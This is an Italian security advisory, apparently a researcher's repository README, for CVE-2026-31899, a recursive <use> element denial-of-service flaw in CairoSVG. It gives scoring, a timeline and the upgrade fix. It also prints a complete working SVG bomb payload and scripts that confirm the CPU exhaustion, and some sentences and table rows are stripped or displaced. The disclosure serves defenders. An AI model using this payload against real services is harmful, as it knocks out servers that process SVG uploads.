
CVE-2026-31899: DoS esponenziale tramite amplificazione dell'elemento <use> ricorsivo in CairoSVG (CVSS 7.5 Alto)
Parole chiave: CVE-2026-31899, CairoSVG, DoS esponenziale, bomba SVG, elemento use ricorsivo, negazione del servizio, amplificazione XML, vulnerabilità SVG in Python, CWE-400, consumo incontrollato di risorse, billion laughs SVG
DoS esponenziale in CairoSVG (CVE-2026-31899) — un payload SVG di 1.411 byte blocca la CPU al 100% in modo indefinito tramite l'amplificazione ricorsiva dell'elemento .
CairoSVG (~300K download/settimana) è un convertitore Python da SVG a PNG/PDF ampiamente utilizzato. La funzione use() in cairosvg/defs.py elabora ricorsivamente gli elementi senza alcun limite di profondità o di conteggio. Con 5 livelli di annidamento e 10 riferimenti ciascuno, un piccolo SVG genera 10^5 = 100.000 chiamate di rendering — una variante SVG della "billion laughs".
Scoperto da: Kai Aizen — SnailSploit Pubblicato: 13 marzo 2026 Punteggio CVSS: 7,5 (Alto) CWE: CWE-400 — Consumo incontrollato di risorse Pacchetto: CairoSVG (PyPI) Tipo di attacco: DoS esponenziale (negazione del servizio) Privilegi richiesti: Nessuno (non autenticato)
La funzione use() in cairosvg/defs.py (riga ~335) risolve ricorsivamente gli elementi che referenziano altri elementi . Non esiste alcun limite di profondità di ricorsione né un budget totale di elementi. Un attaccante può creare un piccolo SVG in cui ogni livello referenzia il livello precedente N volte, producendo O(N^depth) chiamate di rendering a partire da un input di O(depth).
La vulnerabilità esiste perché:
Con 5 livelli e un fattore di ramificazione di 10:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
Totale: 111.111 chiamate di rendering da un input di 1.411 byte.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Metodo 1 — Riga di comando:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
Metodo 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Qualsiasi servizio che accetta input SVG e utilizza CairoSVG per l'elaborazione è vulnerabile:
| Superficie di attacco | Esempio |
|---|---|
| Generazione di anteprime |
Una singola richiesta con un payload di 1,4 KB bloccherà il thread di elaborazione indefinitamente consumando una quantità minima di memoria (nessun OOM kill a salvarti).
Aggiorna CairoSVG alla versione 2.9.0 o successiva:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Data | Evento |
|---|---|
| 2026-03-09 | CVE riservato |
| 2026-03-13 | Advisory pubblicato (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | Rilasciata CairoSVG 2.9.0 con la correzione |
Kai Aizen (SnailSploit)
⚠️ Disclaimer: Questo repository ha finalità esclusivamente educative e di ricerca sulla sicurezza autorizzata. La prova di concetto è fornita per aiutare i difensori a validare la propria esposizione. Utilizza con responsabilità.
La descrizione completa di questo progetto, la metodologia e la ricerca correlata sono disponibili su:
Creato da Kai Aizen — ricercatore indipendente di sicurezza offensiva.
snailsploit.com · Ricerca · Framework · GitHub · LinkedIn · ResearchGate · X/Twitter
Stesso attacco. Substrato diverso.
| Upload SVG → il server converte in PNG |
| Generazione di PDF | SVG incorporato nel documento → CairoSVG esegue il rendering |
| Elaborazione di avatar/immagini | Immagini profilo SVG caricate dagli utenti |
| Rendering di report | Grafici SVG nei report automatizzati |
| Pipeline CI/CD | Asset SVG elaborati durante la build |
| Metrica | Valore |
|---|
| Vettore di attacco | Rete (AV:N) |
| Complessità di attacco | Bassa (AC:L) |
| Privilegi richiesti | Nessuno (PR:N) |
| Interazione con l'utente | Nessuna (UI:N) |
| Ambito | Invariato (S:U) |
| Riservatezza | Nessuna (C:N) |
| Integrità | Nessuna (I:N) |
| Disponibilità | Alta (A:H) |